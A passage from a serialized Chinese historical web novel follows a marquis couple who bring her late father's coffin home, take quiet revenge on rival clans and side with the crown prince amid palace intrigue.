赵济世很认真,很慎重。 宋三德忙搀扶了赵济世起身。 “唉。”宋三德一声叹息。 “赵兄弟,你和义妹夫妻二人都很好。咱这心里,也是妥帖受用。”宋三德感慨一回。 “赵兄弟,你这人能处,咱也不瞒你。有些事情,你是义父的女婿,一个女婿半个儿。你也应该知道的。” 宋三德打发了侍候的仆从。 尔后,宋三德给赵济世讲了一些义父万忠良去逝前。 那些宫闱秘事,能说的,不能说的,只要关乎了万忠良的事,宋三德全说了一回。 “这些话,在赵兄弟跟前,咱讲明白。出了这门,一些话,咱不认的。”宋三德也有他的立场。 有些事能做,可有些话,真不能乱说。 能跟赵济世交老底,宋三德也是担了风险的。 “义兄,济世明白,济世心里有数。义兄一番话是解了济世和内子的心头疑团。”赵济世讲道:“我和内子,只有感激义兄的道理。” 只这会儿嘛,赵济世的心情很复杂。 虽然来镐京都前,赵济世就知道这里面一定有文章。 结果听宋三德一讲后,赵济世不必感慨。 只事情嘛,还是荒唐又是可笑。至少在赵济世的心头,尽是如此。 毕竟忠臣难做,忠臣孝子的结局就是飞鸟未尽,良弓先藏。狡兔未死,走狗先烹。 第92章 大晋朝,镐京都,皇宫,昭阳宫。 “太后娘娘仁慈。”李嬷嬷恭维了皇太后淑阳。 李太后笑道:“哀家也是念着忠义侯的一份心意。” 在李太后瞧来,她收揽了忠义侯万忠良过逝后的势力。 哪怕为了安抚这些人手,总归要给万忠良一脉一个好脸色。 万忠良人没了,可赵济世是万忠良的女婿。 一个女婿半个儿。这一份体面不止给了赵济世本人,因为赵济世是大赵朝的新唐侯。 同时,也是给了万忠良的一系人马瞧一瞧的。 这里面的分寸,李太后拿捏了。 好名声嘛,李太后是很需要的。上位者的名声很重要。 至少对于李太后而言,她非常需要的。 “想来忠义侯九泉之下有知,也是会满意了哀家的主意。” 李太后干的事情很小,就是随口一句。 让忠义侯由女婿扶棺去大赵,埋于大赵,往后受了女儿女婿的香火祭祀。 至于忠义侯夫人自然也由女婿接走,往由女儿女婿奉养。 对此,皇宫之中。小天子肯定不满意。 小天子觉得以救驾之功赏忠义侯一个侯爵。 这只是表面功夫。 留了忠义侯夫人由朝廷奉养,说出去,也是朝廷体面。 奈何李太后的话非常在理。忠义侯夫人有亲闺女。 天伦亲情,血脉亲情。这是斩不断的。 李太后以孝道为由。加之赵济世这一位女婿那是再三恳求。 李太后都同意了。小天子自然也只能默许。 毕竟王国舅和简亲王等顾命大臣也觉得孝道二字,再是正确不过的。 大赵,承顺三年。大晋,同福元年。 春,赵济世扶岳丈大人万忠良的棺椁至燕京都。 万珍珠抱着儿子出燕京都,在郊外相迎。 夫妻再见,母女再见,父子再见。一时之间,也是颇多感慨。 万珍珠抱着亲娘,也是一番宽慰。至于赵济世则是抱一抱好大儿安康。 哪怕对于亲爹的印象减了许多。可有亲娘的安抚,安康还是唤了一声“爹”。 一声爹,让赵济世的心安了。 毕竟家人安在,对于赵济世而言,便是心安生。 牛二囡一路远来,这会儿见着闺女。被闺女安抚了。 又见着孙辈的安康。 牛二囡也是满眼全是小孩儿。她伸手,就想摸一摸孩子。 赵济世抱着好大儿,他抱到岳母大人跟前。 “安康,唤了姥姥。” 万珍珠跟自家好大儿哄一哄话,让小孩儿唤了长辈。 “姥姥。”安康被亲娘一哄,就用小奶音唤了唤了亲姥姥。 “好,好。”听着孙辈唤一声姥姥,牛二囡心里全是激动。 “先进城,先回府。”这会儿认亲一结束,赵济世安抚一番后讲道。 “对,先回府。”牛二囡也赞同。 “我来抱安康吧。”万珍珠讲道。 “还是我抱孩子,许久不见,甚是想他。”赵济世笑道。 “那成。”万珍珠瞧着被亲爹抱着,貌似还挺开心的好大儿。 万珍珠轻轻颔首。 这会儿的万珍珠是搀着亲娘的胳膊,她讲道:“娘,我们先坐马车回府吧。” “好。”牛二囡应一声。 一行人回了新唐侯府。 一回府,忠义侯的棺椁先停在了万珍珠早吩咐人准备好的祭堂。 这会儿的万珍珠是陪着亲娘一道,跟丈夫一起给亲爹上香祭祀。 “爹。”在心里,万珍珠默默的唤一声。 上香,磕头,祈祷。 万珍珠祈祷亲爹九泉之下安息。她这做女儿的一定会好好的奉养了亲娘的下半辈子。 让亲娘离了儿孙福,让亲娘一生无忧。 长寿堂。 牛二囡在新唐侯府的住处。这一日,给亲爹上香后。 接风宴之类的,因着在孝期,自是免了。 只是安抚一番亲娘后,万珍珠留了好大儿和侍候好大儿的奶嬷嬷等人。 “让安康陪一陪他姥姥。”万珍珠这会儿支使了好大儿。 可谓是孝顺长辈,好大儿出马。 对于孙辈的亲近,牛二囡很欢喜。一口应下。 侯府,后宅正院。 赵济世沐浴一番,尔后,回了寝屋。这会儿的万珍珠打发走侍候的丫鬟婆子。 她拿了帕子替夫君擦一擦清洗后的三千青丝。 擦干,再是熏一熏干。这会儿的万珍珠陪一陪夫君。 “济世哥哥,你走后,我查到了一些真相。”万珍珠说一说她查到了的线索。 “珍珠妹妹打算怎么办?”赵济世也得了消息。 自然也是知道了谋害妻儿的凶手,背后是黑手不少。 “以牙还牙,以血还血。”万珍珠肯定的回道。 “只是事情要办,也不能拖累了新唐侯府。所以,我跟济世哥哥商量商量。”万珍珠哪怕心里急与恨。 可事情不能办得太急。急,那就容易的出错。 或者说漏了谁,一旦有了漏网之鱼,万珍珠不能恨死自己。 只有千日做贼,哪有千日防贼的道理。 “我也查到一点东西。”赵济世与妻子交心。 “……”万珍珠一听枕边人的话,她就知道,夫君查到的,一定是她的人没查到的。 万珍珠聆听了。 “孔家是幕后凶手,自不必再提。”对于孔家,赵济世心头狠狠的记一笔。 “宫廷之内,孔皇后是一片牌坊。”赵济世讲道。 “济世哥哥之意,还有人跟孔家联手?也在宫廷之中。”万珍珠问道。 赵济世轻轻颔首。 “谁?”万珍珠问道。 赵济世伸手,轻轻的指一指屋顶。他的意思,万珍珠瞧懂了。 万珍珠握一握夫君的手,她问道:“真如此?” “没有证据,只是查着一点线索。也不知是不是被人布的迷阵。”赵济世实话实说。 “那……”万珍珠沉默了。 “我打算上奏本,为东宫立储一事吹一吹风。往后,我家站的跟脚便是东宫储君。”赵济世的声音很严肃。 “光明正大的得罪了孔氏一族,把事情摆台面上。” 赵济世讲道。 “如此行事,会不会太张扬了。”万珍珠很担忧。 赵济世突然俯下身,他凑在妻子耳边,小声讲道:“陛下有旧疾,亲征草原落下来的病根。” “国赖长君,不册立皇长子,陛下还能册立谁?”赵济世的话,落万珍珠的耳里如惊雷。 “原来如此。”万珍珠轻轻颔首。 “一应大事,济世哥哥有主张,我自然赞同的。”万珍珠满口应下。 “如今跟孔氏一族不能算总帐,那就先跟曹氏等三族算一算帐。”万珍珠的眼底寒意,渗入眼眸子的深处。 “此事,我来办。”赵济世讲道。 “也免得让一些腌臜事弄坏了珍珠妹妹的好心情。如今岳母大人来了府上,珍珠妹妹陪岳母大人笑口常开,快活一番才对。” 赵济世劝慰话道。 “济世哥哥,我自信你。”万珍珠笑道:“只我心眼儿很小的。” “我怕,你来安排,你会为难。”万珍珠依偎进夫君的怀里,她温柔的讲道。 语气温柔,可话中之意,一点不温柔的。 奈何赵济世喜欢这般的枕边人。他肯定的回道:“珍珠妹妹,你我夫妻,一个被窝里睡不出两样人。” “你且宽心,我懂珍珠妹妹的道理。一家人嘛,整整齐齐,再好不过。”赵济世安抚了枕边人。 在赵济世的心里,他总觉得,他的珍珠妹妹是不是误会了什么? 莫不成以为他是什么大英雄,还是怜贫惜弱的不分立场? 赵济世很讲立场的。 因为立场不同,利益不同。或者说立场不同,坐的屁股位置就不同。 那些年,上位之时,赵济世干的事情也不是全都伟光正。 光明之下,必有黑暗。 东方大地上的权谋之争,一旦见了血。总归是斩草除根的好。 毕竟斩草不除根,春风吹又生。一旦落了谁,那是给子孙埋雷埋祸。 赵济世可想着子孙们公侯万代,他肯定是做事做绝,当了一个好祖宗。 何况曹氏三族的人,当年吃的喝的,哪一样不是纳了下面的大好处。 真论可怜,那些死在民乱里的人更可怜。 因为民乱一起,不分男女,不分老弱,那才成是人家的悲剧。 偏生这等的悲剧,不是天灾,而是人祸。 人祸啊,可谓是曹氏三族,天生原罪加身。 真论阴德阴私,这三族人恐怕是恶孽缠身。 当然,真办事,真除根。赵济世可不会寻什么借口。 赵济世办事,就是看立场。他想做赢家,还想儿孙享受荣华富贵。那么,仇人,自然是斩尽杀绝的好。 又两日。 万珍珠跟亲娘在午后闲谈。 “娘放心,已经请过吉日。爹爹入葬,下月之时,便有吉日。”至于给亲爹安排的葬地等等,那些事情早安排好。 这会儿的万珍珠在安抚了亲娘。 “这便好。”牛二囡轻轻颔首。 知道夫君后事一应安排,俱是妥帖。牛二囡心里踏实。 就在母女二人说说话,牛二囡的心情好了许多的时候。 万嬷嬷来禀话,凑了万珍珠的耳边,小声讲道:“殿下,孔府的府上和郊外庄子上,今个没了一些人,他们俱是曹氏等三族留在燕京都的一点人手。” “我知了。”万珍珠轻轻颔首。 “还有流放的那些人丁,也差人盯一盯情况。指不定是曹氏三族,这一遭得了阴私报应。”万珍珠淡淡的讲话道。 “唯。”万嬷嬷应了话。 “说什么呢,这般神秘。”牛二囡等万嬷嬷离开后,她问道。 第93章 万珍珠见着亲娘的好奇,于是说了她小产一事。 牛二囡这才知道了女儿还小产掉一个孩子。 “怎么会?”牛二囡不敢相信。 “这么大的事情,如何不告诉娘。”牛二囡心疼的执起女儿万珍珠的手。 “这会儿不是告诉娘了嘛。”万珍珠回握了亲娘的手。 “前面不告知娘,也是怕娘担忧。”万珍珠回道:“如今让娘知道,便是因着害女儿小产的人已经吃了苦果。” “既是复仇,便是能释然。”万珍珠一番话讲下来,牛二囡沉默了。 新唐侯府,万珍珠和亲娘述一番事。母女二人各自安抚了对方。 大赵朝,燕京都,皇宫,泰一宫。 赵济世叩见帝王,恭敬见礼。承顺帝瞧着赵济世这一位心腹。 “赵爱卿大胆。”承顺帝讲道。 “陛下明鉴,陛下说臣大胆,臣一定是大胆子。”赵济世躬身回话道。 关于帝王传唤,为何而来?赵济世心头有数的很。 问赵济世在意吗? 赵济世既是在意,又是坦然。毕竟,回了燕京都交差后。 赵济世回燕京都前,他自己就有渠道的。再跟妻子一商量。 夫妻心头就有默契的很。 彼时,进宫叩谢君王恩典,交差出使大晋差遣一事时。 赵济世就隐隐有暗示,或者说他也得了帝王的一点暗示。 君臣二人有默契。承顺帝是希望赵济世站了东宫的一派。 孔皇后出身世家世族,皇长子的生母嘛,地方豪强女。 比之孔皇后的家世差远了。 给东宫太子添了筹码,这是承顺帝必然要做的事情。 帝王只是略略暗示。尔后,赵济世当场大包大揽的应承下来。 至于结果? 更是简单不过的。赵济世干脆利落的干掉了孔府的走狗,曹氏三族在燕京都的余孽。 跟孔氏一族划了线,赵济世这一边又给皇长子这一位东宫储君的生母送了厚礼。 送礼的名义,自然是以新唐侯府的名义送的。 送给谁? 那自然是给了东宫与东宫的生母。 新唐侯站在了东宫一派,明晃晃,光明正大的不避旁人。 这事情一出来,瞧着赵济世的操作手法,太粗糙了。 于是承顺帝便是又传召了心腹赵济世。帝王就想瞧一瞧心腹的用意何在? “爱卿既然是朕的臣子,如何?朕安居于龙椅之时,爱卿就想倒向了东宫献媚?”承顺帝这话问的,有一点诛心之言。 赵济世赶紧参拜大礼。 “臣愚笨。陛下,臣归来交了使节从符令时。陛下告知臣东宫缺了重臣张目。让臣做一做千金马骨吗?” 赵济世赶紧叩头。 “臣木讷,臣错解陛下圣意。臣有错,请陛下责罚。” 赵济世认罪了。 万方有罪,罪在臣躬。 这错,肯定不能是天子的。于是赵济世认错了,是他理解错了天子的暗示。 这事情自然也是赵济世做错了。 瞧着赵济世光棍儿的认错,让天子罚。承顺帝能罚吗? 不能。一旦罚了,那是抹了东宫的体面。 “朕随口一问,爱卿不必多心。起来吧。”承顺帝讲道。 “陛下,臣愚笨,臣好像犯了大错。您不罚,臣心头不安。”赵济世继续认错。 瞧着赵济世的做派,承顺帝笑了。 “赵爱卿,你没错。朕瞧着,你是忠臣。朕有一言,让爱卿替东宫储君张目,既然是朕的吩咐,爱卿何错之有。” 承顺帝这一番讲出来。 赵济世赶紧叩头谢恩,他道:“陛下明鉴万里,臣,叩谢天恩浩荡。” 这等时候的赵济世很清楚,他既然选择了攀附上东宫的这一条路。 那么,就得走到底。 想回头,没可能的。天子已经不会允许了。 如果不是知道天子龙体欠安。赵济世肯定不敢攀附上东宫。 可攀附了东宫,也是好攀附的。这不,得罪了孔皇后的母族,孔氏一族就是投名状。 虽然这一个投名状,赵济世是心甘情愿给的。 皇宫,宫廷内苑。 皇长子的生母,被天子晋封为贵妃的宋氏,便是如今的得意人。 哪怕在孔皇后跟前,宋贵妃也是有体面的很。 谁让宋贵妃是东宫储君的生母呢。 “新唐侯,倒是识趣人。”宋贵妃很满意替东宫张目的新唐侯赵济世。 特别是新唐侯府给宫里送了重礼,同时,还给宋贵妃的娘家也是送了重礼。 不止如此,新唐侯还煽了孔皇后的母族脸面。 这事情办的,让宋贵妃听着一二风声,也是满意的很。 “记着,待新唐侯夫人进宫时,本宫可得多亲近一二。”宋贵妃的目光落在贴身的宫人身上。 “尔等,也得多敬了几分新唐侯夫人。”宋贵妃敲打一二。 “唯。”贴身宫人忙应话。 在心里,宋贵妃还是琢磨了。这新唐侯办事,如何传了满城风雨? 这怕是有意为之。 想到这儿时,宋贵妃的目光是望向了孔皇后的寝宫,凤仪宫。 宋贵妃很想知道了孔皇后的心情会如何坏? 风仪宫。 孔皇后做为母仪天下的中宫,她其时没有宋贵妃以为的生气。 “皇后娘娘。”陪嫁嬷嬷讲了一二事,态度谨慎的很。 “怕什么,怕本宫生气?”孔皇后的目光落在陪嫁嬷嬷身上。 “奴婢愚蠢,不敢妄自揣测皇后娘娘的智慧。”嬷嬷赶紧答话道。 “这事情新唐侯做得,陛下又不罚。这里面究竟是几分新唐侯的献媚,还是陛下替东宫筹谋,犹未可知啊。” 孔皇后在感慨。 对于新唐侯这等帝王心腹做事,那里面的真真假假,孔皇后是表示怀疑的很。 孔皇后不怀疑了新唐侯的立场。这等新贵,肯定是站了帝王的立场上做事。 大赵朝,燕京都,内城,孔府。 孔家主一回府,便回了书房,尔后,召了幕僚谈话。 关于谈些什么? 不外乎是孔氏一族的前程。还有族中的一二事。 至于给孔府当了走狗的曹氏三族等余孽。 哪怕人没了,孔家主只当小事对待。 倒是在书房里,孔家主跟幕僚一起商量二,拿了一二主意。 待晚间,孔家主歇于夫人屋中时。 孔家夫人倒是很关心了一二事。她道:“府上闹了人命,虽是一些奴婢,可到底怕伤了府上的名声。” “唉,这事情夫君真不让追究了?”孔家夫人心里是不满意的很。 孔府威风何在? 让人欺负在头上,还不吱声,真不是孔家夫人的做派。 “这里面复杂着,干系太大。一动不如一静。”孔家主讲道。 “干系太大?”孔家夫人一个冷哼。 “夫君怕了新唐侯府?”孔家夫人耳没聋,可听着一些风声。 越是知道风声,越是烦闷。毕竟新唐侯府的一些做为,那不避讳于人,这是把孔氏的脸面踩了脚底去。 孔家夫人做为当家主母,她忍不得这一口气。 “夫君,这岂止是踩了孔氏一族的体面。这简直是没有把宫里的皇后娘娘当一回事。” 孔家夫人对于长女做了皇后,一直自得。 如今自家被扫了脸,孔家夫人当然不开心的很。 “你还知道皇后娘娘的脸面尊贵。那你怎么不琢磨一二,新唐侯一介新贵,哪来的胆量跟世家世族对抗,还是得罪了中宫娘娘?” 孔家主问一回嫡妻。 “……”孔家夫人冷静一番。 “夫君之意,上意吩咐?”孔家夫人小心的问道。 “十成可能。”孔家主回道:“非是君父之意,想必以新唐侯的做事做风,当不至于如此不明智。” 在孔家主的心里,他这等家世门风,又岂是一介新贵敢踩的? 新唐侯府。 赵济世下差后,回了府里。陪着妻儿一道去给岳母大人问安。 尔后,一家人又一起吃了夕食。 再是说说话,谈一谈家常里短。至于好大儿安康? 这孩子留给爱他的姥姥牛二囡。 于是孩子让姥姥带一带,享一享天伦之乐。 万珍珠则是跟夫君一起,夫妻二人漫步,还是赏一赏府内景致。 提着灯笼,微风漫步。风轻吹。 赵济世握着万珍珠的手,夫妻十指交缠。 至于旁的什么? 真没的。毕竟夫妻二人都是守了万忠良这一位亲辈的孝期。 只是感情嘛,也是点点滴滴,生活中经营起来的。 至于跟随的小厮与丫鬟婆子等,都是远远的坠着。 可没谁不识趣的跟近了,那会打扰了侯府的侯爷与主母闲谈一二 。 “珍珠妹妹……”赵济世这会儿跟妻子讲道:“关于岳丈大人的事情,之前,我有一些话未曾跟你细讲。” “……”万珍珠轻轻颔首。 “济世哥哥有话,我聆听便是。我相信,你未细讲,必有原由。”万珍珠讲道。 “曹氏三族,谋害加身。未曾复仇,我怕扰妹妹心续。”赵济世讲道:“如今虽是扫了一二走狗之辈。” “至少,也让妹妹心续平稳一番。”赵济世停下脚步。 “曹氏三族等人,必是斩草除根,不留后患。至于这三族的背后之人。妹妹且等着,我必会报复的。” 赵济世给妻子保证。 “我信济世哥哥。” “如此,妹妹心里还难受吗?” “不那么难受了。”万珍珠讲道。 “妹妹心里好受些,我方敢讲了岳丈大人的事。”赵济世认真的讲道。 “……”瞧着枕边人的态度,万珍珠心绪又被提了一截。她担忧,这里面莫非又有文章。 第94章 忠义侯万忠良,这一个身份是万忠良死后,小天子同福帝给他的追封。 人死了,一了百了。 那么,人死前呢? 万忠良还活着时,在最后的选择时,他选择的不过是献祭自己的道路。 其时如果可以的话,万忠良有活路的。毕竟他的人先发现了泰和宫里的一场阴谋。 虽然是针对了万忠良本人的。 可万忠良本人不想逃。一旦逃避了,他一个太监。 哪怕这一回认栽,也是逃不过污名加身。 万忠良跟随了先帝一辈子,在洪福帝身边当差,他求的什么? 除了权利,也是名声。 万忠良只是一个太监,对于一个太监而言,他是自卑的。 因为被人蛐蛐,在背后闲话太正常不过了。 越是如此,如果可能的话,万忠良很在意了自己的死后名声。 于是在选择的那一刻,万忠良拔动了自己在宫廷里的人手。 救驾而亡。 这是万忠良给自己选择的死法。同时,也是给李太后添了一份筹码。 万忠良在最后的最后,还是想维持了先帝洪福帝留下来的铁三角。 让这三个角保持了平衡。不至于他一死,李太后的势力太弱被扫出了铁三角。 虽死,万忠良自己不后悔。 虽然不能瞧见了孙辈安康,虽然不能享受了天伦之乐。 可万忠良知道的,他这一个太监死了,对于女儿和孙辈而言更好。 因为他的名声更好。人死了,有时候也活着。 活在世人的眼光里。 万忠良想给女儿和孙辈们留一个好名声,人死留名。 这是一笔财富。给血脉后人留着的财富。 大赵朝,燕京都,内城,新唐侯府。 赵济世说了义兄宋三德讲的一切。他讲完,万珍珠沉默了。 “虽是爹爹自己的选择,可没人逼迫的话,爹爹岂会赴死?”万珍珠是恨的。 恨什么? 一时之间,万珍珠也是说不清楚。 她只是觉得心痛,痛亲爹的选择。名声再好,人都没了,求那些又做甚? “珍珠妹妹,岳丈大人最后的时刻,念着的也是你和安康。他总归想给后辈铺平一条道。” 赵济世瞧懂了岳丈大人的选择。 名声再好,死人是享受不到的。可活人呢? 活人是可以受了恩泽的。 忠义侯。 哪怕这一个忠义侯是太监,哪怕是大晋朝的太监。 瞧一瞧,一路东来,赵济世扶棺。谁敢言了半分不是。 当着赵济世的面,谁都得夸了岳丈大人。因为这是忠义。 对于天子的忠义,救驾而亡,这便是最大的正确。 哪怕是皇家也依然,便是大赵的天子承顺帝在赵济世归来后,也是赐了埋椁地。 赐给岳丈的这一份体面,便是宣扬了忠义二字。 “珍珠妹妹。”赵济世揽了妻子入怀。 “你若想哭,便是哭一场。”赵济世语气温柔的对妻子说道。 赵济世不是安抚了妻子,而是希望枕边人的情绪莫要堵在了心头。 “我哭不出来。”万珍珠的眼神里,有些茫然。 越是知道亲爹的选择为了女儿和孙辈着想。 越是拿着这一份人血的好处。 万珍珠越是难受。 这般难受了,万珍珠就觉得疼。身上疼,心口疼。 那一种疼,又是钝钝的,麻麻的,像是失去了腹中孩子的那一日一样。 万珍珠伸手,她也抱住了夫君的腰。 “我也想哭的,只是泪,不知道为何落不出来。只是眼睛干涩一片。”那似乎是伤心了,伤心过甚,又无泪可流。 因为这些日子里,万珍珠安慰亲娘时,她陪着亲娘哭了太多场。 好些的泪,似乎都流干净了。 如今想流泪,一时之间,无泪可流。空余悲伤。 大赵朝,承顺三年。大赵东宫储君册封大典举行。 宋氏一族出了一位东宫太子。 待夏末结束时。万珍珠出了孝期。 可以往宫里走动时,万珍珠得了宋贵妃的召见。 虽然在宋贵妃之前,万珍珠这等大赵的诰命夫人向孔皇后问安了。 从凤仪宫出来。 万珍珠回望一眼。她的神色淡淡。在心头,万珍珠很清楚了。 她家跟孔氏一族不是朋友,而是仇人。 对于仇人,哪怕一时半会儿不能复仇。那自然也是要记了一笔。 待时机至,必要狠狠的清算了。 凤仪宫。 孔皇后跟身边的陪嫁嬷嬷说道:“瞧着新唐侯夫人恭顺。实则,心里大不敬。” “……”嬷嬷小心的回道:“皇后娘娘母仪天下,新唐侯夫人敢大不敬,自然可以赏罚由心。” “不可的。”孔皇后摆摆手。 “要知道新唐侯如今替太子摇旗呐喊,本宫伤了新唐侯夫人,让陛下如何看,让朝中大臣们如何看?” 孔皇后不傻,就是新唐侯府的旗立得太鲜明。 一时半会儿的,孔皇后反而不能太拿捏。 不然的话,那伤的岂是新唐侯夫妻的体面? 在世人眼中,那得成了孔皇后针对太子了。 太子是庶长子,太子做了东宫储君。 这事情闹出来,世人盯着孔皇后的目光都得多怀疑三分。 孔皇后更不想恶了承顺帝的心思。 “本宫在意着陛下的心意。”孔皇后的心底,她更觉得新唐侯夫妻的举动,未必不是承顺帝的安排。 给东宫储君添了筹码,天子心腹出马办事。 这就是立了旗杆,千金马骨啊。 天子的筹谋,孔皇后又岂能坏了天子的事。 “皇后娘娘,新唐侯府办事可不讲究。身上麻烦多着。真想罚,指定有法子。”嬷嬷赶紧进言道。 “……” 孔皇后沉默。 孔皇后示意一下,让陪嫁嬷嬷继续说。 “北边曹氏等三族流放的人丁,皆没了。”陪嫁嬷嬷提了此事。 “新唐侯办事,真是不避讳的。这事情闹得太难堪了。”陪嫁嬷嬷提一回。 “……”孔皇后又是沉默。 “是啊,堂堂侯爷不要脸面。”孔皇后自然知道这一桩事情。 朝堂上,不是没风声。 只是全让承顺帝给压了下去。孔皇后也是试探过的。 “这事情陛下无心主持公道。本宫提了,又能如何?” 孔皇后轻轻摆手。 “没得还坏了陛下的兴致。”孔皇后如今的心情不好。 东宫储君,对于孔皇后而言是重不得轻不得。 孔皇后跟宋贵妃二人之间,也是尴尬着。 在孔皇后的心底,如果她不能生下嫡皇子。 那么,从孔氏一族挑了侄女入宫。 将来跟皇家的姻缘还能续上。又或者让她认输? 孔皇后不会认输的。 毕竟坐稳了嫡母的位置,在宫廷内苑,孔皇后注定会有一席之地。 凭的不止是孔皇后自己,还有孔皇后背后的家族势力。 大赵朝,燕京都。 万珍珠进宫一趟,见了皇后,见了贵妃。 待一回府,她又接了贴子。贞静公主邀请。 对于此,万珍珠沉默。 贴子收了,宴请自然应了。这会儿的万珍珠去陪了亲娘和好大儿。 “你有心事?”牛二囡瞧着女儿的神情,便是开口问道。 “在宫廷内苑见着二妹妹。”万珍珠讲道。 对于女儿嘴里的二妹妹是谁?牛二囡知道的。 女婿的义弟,马义的亲妹子马小莲,如今的马婕妤。 “那婕妤娘娘是宫廷里的贵人。婕妤娘娘可是有吩咐,让我儿为难了。” 牛二囡关切的问道。 关于宫廷内苑的大事,牛二囡很上心。没有法子,她的夫君万忠良就是死在宫廷阴谋里。 关于万忠良的真正死因,赵济世跟妻子讲了。 至于岳母大人这一边,赵济世瞒了,万珍珠也瞒了。 讲明白又如何?只可能让亲娘伤心。 有些事情,不讲明白,不过是让活着的人想开了。 “婕妤娘娘递了一个消息给我。”万珍珠神色严肃。 “我在思量了如何跟夫君讲。”万珍珠说道。 “若是不方便讲,不必跟为娘讲。你跟女婿仔细商量商量便是。” 牛二囡瞧着女儿没详细的讲了。 在牛二囡想来,一定是大事。毕竟当年在镐京都时。 夫君在宫廷里有事,也不是事事都跟妻子牛二囡讲一讲。 能讲的,自然会讲。不能讲的,那就不提。 这不,牛二囡也不再细问。只是跟女儿讲了,有事多跟女婿商量,万万不必闷了心里。 “嗯,娘放心,我会跟夫君商量的。”万珍珠应了。 “姥姥,娘,娘。” 这会儿的安康在唤长辈。 “姥姥在。”牛二囡的注意力一下子转移到了孙辈的身上。 “戴花花。”安康手里拿着两朵花。 这会儿的小孩儿是开开心心,他把花递给姥姥和亲娘。 “戴。”安康伸了小手,一幅想忙碌的样子。 牛二囡就顺了孩子的心意,抱了孩子在怀里。 这不,牛二囡的发髻上,还让安康给努力的插了一朵大菊花。 瞧着牛二囡笑得开心。安康也高兴的喊道:“漂亮。” 小奶音叫一个响亮。总之,小孩儿是高兴极了。 “娘。”给姥姥戴了花。 安康又想给亲娘戴花。这会儿儿子有孝心。万珍珠不拒绝了。 于是万珍珠也是配合了一回。 虽然吧,万珍珠如今的发髻,那戴了一朵大菊花,那不一定配。 可瞧着亲娘的高兴,还有好大儿的高兴。万珍珠不当扫兴气氛组。 万珍珠配合一回,让好大儿给自己戴了一朵大菊花。 “安康孝顺,安康真棒。这花漂亮。”万珍珠连声夸了好大儿。 第95章 贴在赵济世身上的标签从来是重诺言,守诺言。 把这一条当成人生标签不止是为了做戏给世人看。而是赵济世真的当成了自己人生准则。 凭的就是他一个底层的贫寒之辈能爬上去,当然是立了一个自己信,别人也信的人设。 就像是坏人交朋友,也是希望交了守诺的朋友。 至于赵济世内心的真实想法如何?这不重要。 因为他的准则是会守了一辈子。 一辈子的做戏,真的假的,真不重要。反正在本人与世人眼中,这便是真的。 承顺三年,对于赵济世而言是一个重要的年份。 因为在这一年的赵济世又收获了一些朋友。 同时,也是替岳丈大人守足了孝期,还是在暗中吹了几波岳丈大人的好名声。 为此,赵济世的做法不止为自己,更是为了妻儿。 有一个好名声的长辈,总归是于晚辈太有利。 承顺四年,一开春,一场倒春寒。 青黄不接时,北地出现灾情。如此情况之下,朝廷局势起了变动。 赵济世在兵部当差,管着后勤与升迁这一块。 说起来,他如今除了自己的亲信家丁,明面的兵权真没有。 不过他的义弟们可是在军中掌了兵权的。只能说,赵济世如今退让的步伐,真不止是做戏。 倒是关于宋贵妃的母族,近些月份里在承顺帝的扶持下,那可谓是步步高升。 宋氏一族很高兴,至于皇后母族,孔氏一族高兴不高兴? 这是一个仁者见仁,智者见智的问题。 大赵,燕京都,内城,新唐侯府。 万珍珠与亲娘坐一起,议了燕京都的一些新鲜事。 这些不重要,不过做了一些消遣。 对于万珍珠而言,大岛之上,糖业的发展,耕地的发展,她更在意。 毕竟那是后路,还是最重要的后路。 当然了,关于浑江郡嘛,万珍珠也一直关注的很。 至于草原上的儿媳妇挛鞮明珠,万珍珠也是一直人情往来,不曾断过。 只是好大儿安康年岁太小,这婚事往后会如何? 万珍珠也是说不准的。 “燕京都繁华依旧。只听夫君讲,朝廷又派钦差巡视了。南边出了一些乱子。” 万珍珠跟亲娘议一议,万珍珠会关注,那是因着她的商社南来北往。 关乎自己家利益,岂能不关注。 “朝廷重视,一定很快平了风波。”牛二囡的心里,朝廷自然是有本事的。 毕竟来了燕京都,瞧过燕京都的繁华。在牛二囡的心底,这还是歌舞升平之态。 “想是如此。”万珍珠赞同。 在心底,万珍珠巴不得问题赶紧解决。利益,真是决定了屁股的坐位。 万珍珠真不想损失了收益。毕竟她手下一大堆的人,还靠着商社吃饭。 真是利益损失,不止损失了万珍珠的收益。 跟着这一系收益相干系的人物,一样是吃不了好果子。 这一日,待赵济世下差归来。 他还瞧见妻子拿了一本帐在愁帐。他问道:“珍珠妹妹遇着烦心事?” “嗯。”万珍珠点对。 “南边事不平,商社受了影响就不断。可贡给宋贵妃的收益,半分不可减。这里面损失,全让咱们担了。” 万珍珠心底,自然愤愤不平。 奈何宋贵妃那儿,往常攀附上了。如今可不能换了立场的。 在万珍珠的心底,宋贵妃真是一个不知足的人。 太贪婪了。 奈何自己家选择的路,能怎么办?咬牙都得走完。 “宋贵妃是储君生母,自然尊贵几分。”赵济世赞同妻子的做法。 “说来,累珍珠妹妹多忧心了。”赵济世坐于妻子身畔,感慨一回。 “当初选择路时,我赞同了济世哥哥。如今我们夫妻同心,我多操心些,理所当然的。” 万珍珠没觉得她操心,那有什么辛苦不辛苦。事情摆那儿,总要让人干完的。 “说起来,攀附上了宋贵妃,也不是没好处。至少二妹妹那儿,可是解了忧。” 万珍珠说到了宫廷内苑的马小莲。 马小莲晋了位份,如今是马昭仪。 马昭仪能晋位,靠的就是新唐侯府的站位。 毕竟孔皇后跟新唐侯府不对付,这能让马昭仪上位的,自然是圣意。 新唐侯府对于储君,真谓是又站台,又献金。 在朝堂上,新唐侯府是东宫储君这一边的标杆人物。 “罢了,不提这些事。”万珍珠搁下帐本。 “济世哥哥放心,糖业前途远大,那是一本万利。新唐侯府总不缺了小金库的。”万珍珠宽慰了夫君。 同时还是在宽慰自己,天下的银子多着,不可能全揽了自家的小金库里。 财去人安乐,万珍珠只能多宽慰自己一番。 “成,听一番话,知妹妹想得开。此乃好事。”赵济世也笑了。 这会儿的赵济世瞧着天边光景。他笑道:“月色不错。” “不如,我与珍珠妹妹今晚再吃一盏酒,赏一赏月下美景。” 夫妻二人想玩一点儿的浪漫事。 这会儿二人皆不拒绝。吃一吃酒,赏一赏景。 这最后的最后嘛,自然还是回到了造小号的事情上。 对于再给好大儿安康添了弟弟妹妹的事情,赵济世热情的很。 夫妻皆有意,或者说彼此都开心快活。 这等事情自然是满满的两心欢喜。 刚入夏。承顺帝病了。 这一场苦夏,承顺帝病的严重。燕京都里,一时间,似乎也是进入了苦夏之时。 侯府内,万珍珠一家几口人少。这用度方面自然是宽省的很。 